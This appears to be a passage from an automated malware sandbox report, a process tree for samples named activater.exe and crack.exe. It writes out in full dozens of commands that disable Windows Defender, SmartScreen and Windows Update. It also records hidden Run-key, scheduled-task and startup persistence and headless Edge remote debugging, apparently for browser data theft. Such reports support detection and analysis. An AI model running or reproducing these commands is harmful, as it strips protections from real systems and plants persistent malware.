        PID:2848
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableVirusAndThreatProtectionNotifications /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender notification settings
        
        PID:1760
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableThreatsNotifications /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender notification settings
        
        PID:3528
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableAllNotifications /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender notification settings
        
        PID:3356
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableAppNotifications /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender notification settings
        
        PID:4112
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableSecurityHealthNotification /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender notification settings
        
        PID:5048
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center" /v UILockdown /t REG_DWORD /d 1 /f
        6⤵
        
        PID:3328
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Virus and threat protection" /v UILockdown /t REG_DWORD /d 1 /f
        6⤵
        
        PID:764
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender notification settings
        
        PID:4564
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v DisableVirusAndThreatProtectionNotifications /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender notification settings
        
        PID:4904
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender DisableAntiSpyware settings
        
        PID:2196
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4724
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v PUAProtection /t REG_DWORD /d 0 /f
        6⤵
        
        PID:2172
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ServiceKeepAlive /t REG_DWORD /d 0 /f
        6⤵
        
        PID:3324
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v RandomizeScheduleTaskTimes /t REG_DWORD /d 0 /f
        6⤵
        
        PID:116
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v ForceDefenderPassiveMode /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4572
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRoutinelyTakingAction /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4660
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:3704
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:2368
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:2924
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:4676
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScriptScanning /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:1480
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableArchiveScanning /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:1684
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableEmailScanning /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:3660
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIntrusionPreventionSystem /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:2024
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:3172
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f
        6⤵
        
        PID:1312
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        6⤵
        
        PID:3260
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f
        6⤵
        
        PID:820
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v LocalSettingOverrideSpynetReporting /t REG_DWORD /d 0 /f
        6⤵
        
        PID:5064
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v DisableScheduledScan /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4872
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v DisableRemovableDriveScanning /t REG_DWORD /d 1 /f
        6⤵
        
        PID:5000
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v DisableRestorePoint /t REG_DWORD /d 1 /f
        6⤵
        
        PID:2692
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v ScheduleDay /t REG_DWORD /d 0 /f
        6⤵
        
        PID:692
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v ScheduleTime /t REG_DWORD /d 0 /f
        6⤵
        
        PID:3624
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v CheckForSignaturesBeforeRunningScan /t REG_DWORD /d 0 /f
        6⤵
        
        PID:2944
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v ForceUpdateFromMU /t REG_DWORD /d 0 /f
        6⤵
        
        PID:2608
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v DisableUpdateOnStartupWithoutEngine /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4220
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v UpdateOnStartUp /t REG_DWORD /d 0 /f
        6⤵
        
        PID:4384
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center" /v DisableAccountProtectionUI /t REG_DWORD /d 1 /f
        6⤵
        
        PID:996
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center" /v DisableAppBrowserUI /t REG_DWORD /d 1 /f
        6⤵
        
        PID:2992
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center" /v DisableDeviceSecurityUI /t REG_DWORD /d 1 /f
        6⤵
        
        PID:3864
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center" /v DisableFamilyUI /t REG_DWORD /d 1 /f
        6⤵
        
        PID:2164
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center" /v DisableFirewallUI /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4304
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f
        6⤵
        
        PID:4476
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v ShellSmartScreenLevel /t REG_SZ /d Off /f
        6⤵
        
        PID:3224
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Network Protection" /v EnableNetworkProtection /t REG_DWORD /d 0 /f
        6⤵
        
        PID:4584
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\Controlled Folder Access" /v EnableControlledFolderAccess /t REG_DWORD /d 0 /f
        6⤵
        
        PID:4200
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR" /v ExploitGuard_ASR_Rules /t REG_SZ /d "" /f
        6⤵
        
        PID:4100
      - C:\Windows\system32\sc.exe
        
        sc stop WinDefend
        6⤵
        Launches sc.exe
        
        PID:4788
      - C:\Windows\system32\sc.exe
        
        sc stop SecurityHealthService
        6⤵
        Launches sc.exe
        
        PID:1036
      - C:\Windows\system32\sc.exe
        
        sc stop Sense
        6⤵
        Launches sc.exe
        
        PID:5052
      - C:\Windows\system32\sc.exe
        
        sc stop WdNisSvc
        6⤵
        Launches sc.exe
        
        PID:2144
      - C:\Windows\system32\sc.exe
        
        sc config WinDefend start= disabled
        6⤵
        Launches sc.exe
        
        PID:1152
      - C:\Windows\system32\sc.exe
        
        sc config SecurityHealthService start= disabled
        6⤵
        Launches sc.exe
        
        PID:924
      - C:\Windows\system32\sc.exe
        
        sc config Sense start= disabled
        6⤵
        Launches sc.exe
        
        PID:1716
      - C:\Windows\system32\sc.exe
        
        sc config WdNisSvc start= disabled
        6⤵
        Launches sc.exe
        
        PID:4412
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im MsMpEng.exe
        6⤵
        Kills process with taskkill
        
        PID:4952
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im SecurityHealthService.exe
        6⤵
        Kills process with taskkill
        
        PID:4708
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
        6⤵
        
        PID:2792
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
        6⤵
        
        PID:1472
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        6⤵
        
        PID:3676
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
        6⤵
        
        PID:3372
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender*" /Disable
        6⤵
        
        PID:4840
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v WindowsDefender /f
        6⤵
        
        PID:1276
      - C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v WindowsDefender /f
        6⤵
        
        PID:4888
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1076
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3356
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3324
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1104
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2832
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4812
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:888
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\' -ErrorAction SilentlyContinue"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3448
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4864
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v AUOptions /t REG_DWORD /d 1 /f
        6⤵
        
        PID:3672
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v DisableOSUpgrade /t REG_DWORD /d 1 /f
        6⤵
        
        PID:844
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v ScheduledInstallDay /t REG_DWORD /d 0 /f
        6⤵
        
        PID:3264
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v ScheduledInstallTime /t REG_DWORD /d 0 /f
        6⤵
        
        PID:2220
      - C:\Windows\system32\sc.exe
        
        sc config wuauserv start= disabled
        6⤵
        Launches sc.exe
        
        PID:3556
      - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:2096
      - C:\Windows\system32\sc.exe
        
        sc config bits start= disabled
        6⤵
        Launches sc.exe
        
        PID:4812
      - C:\Windows\system32\sc.exe
        
        sc stop bits
        6⤵
        Launches sc.exe
        
        PID:2188
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable
        6⤵
        
        PID:4804
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable
        6⤵
        
        PID:1016
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable
        6⤵
        
        PID:820
      - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\UpdateOrchestrator\Reboot" /Disable
        6⤵
        
        PID:1748
- - C:\Users\Admin\AppData\Local\Temp\activater.exe
    "C:\Users\Admin\AppData\Local\Temp\activater.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\system32\attrib.exe
      "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
      4⤵
      Views/modifies file attributes
      PID:4708
  - - C:\Windows\system32\reg.exe
      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsHealthMonitor /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:3272
  - - C:\Windows\system32\reg.exe
      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SysHelper /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\ThemeSync.exe /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:3048
  - - C:\Windows\system32\reg.exe
      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v Setup /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:1848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "$action = New-ScheduledTaskAction -Execute 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $trigger = New-ScheduledTaskTrigger -AtLogon; $settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; Register-ScheduledTask -TaskName 'OneDriveStandalone' -Action $action -Trigger $trigger -Settings $settings -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1264
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "$s = (New-Object -COM WScript.Shell).CreateShortcut('C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\OneDrive.lnk'); $s.TargetPath = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo\\OneDriveUpdate.exe'; $s.WorkingDirectory = 'C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SendTo'; $s.WindowStyle = 7; $s.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      PID:2388
  - - C:\Windows\system32\attrib.exe
      "attrib" +H C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
      4⤵
      Views/modifies file attributes
      PID:1472
  - - C:\Windows\system32\wscript.exe
      "wscript.exe" //nologo //b C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\syshelper.vbs
      4⤵
      PID:4984
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
      4⤵
      Executes dropped EXE
      PID:4272
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\OneDriveUpdate.exe"
      4⤵
      Executes dropped EXE
      PID:3048
- - C:\Users\Admin\AppData\Local\Temp\crack.exe
    "C:\Users\Admin\AppData\Local\Temp\crack.exe"
    3⤵
    - Downloads MZ/PE file
    - Drops startup file
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4236
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4588
    - - C:\Users\Admin\AppData\Roaming\2TDIDZEU\svchost.exe
        
        "C:\Users\Admin\AppData\Roaming\2TDIDZEU\svchost.exe"
        5⤵
        Executes dropped EXE
        
        PID:2872
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update2.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update2.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4908
    - - C:\Users\Admin\AppData\Local\Temp\1RN7pIVm2wMZ\vshost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\\1RN7pIVm2wMZ\vshost.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4104
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory="Default" --headless --disable-gpu
        6⤵
        Uses browser remote debugging
        
        PID:4064
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default --headless --disable-gpu --edge-skip-compat-layer-relaunch
        7⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:3792
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x230,0x234,0x238,0x22c,0x2e8,0x7ffd9d7fc188,0x7ffd9d7fc194,0x7ffd9d7fc1a0
        8⤵
        
        PID:4932
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2160,i,1995541447622613125,5571624305880041907,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:3
        8⤵
        System Time Discovery
        
        PID:2880
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2160,i,1995541447622613125,5571624305880041907,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2156 /prefetch:2
        8⤵
        
        PID:4260
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2160,i,1995541447622613125,5571624305880041907,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2460 /prefetch:8
        8⤵
        
        PID:1244
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2160,i,1995541447622613125,5571624305880041907,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3360 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:3264
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2160,i,1995541447622613125,5571624305880041907,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3364 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:4228
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2160,i,1995541447622613125,5571624305880041907,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4196 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:4692
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2160,i,1995541447622613125,5571624305880041907,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4172 /prefetch:2
        8⤵
        Uses browser remote debugging
        
        PID:4120
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2160,i,1995541447622613125,5571624305880041907,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4932 /prefetch:8
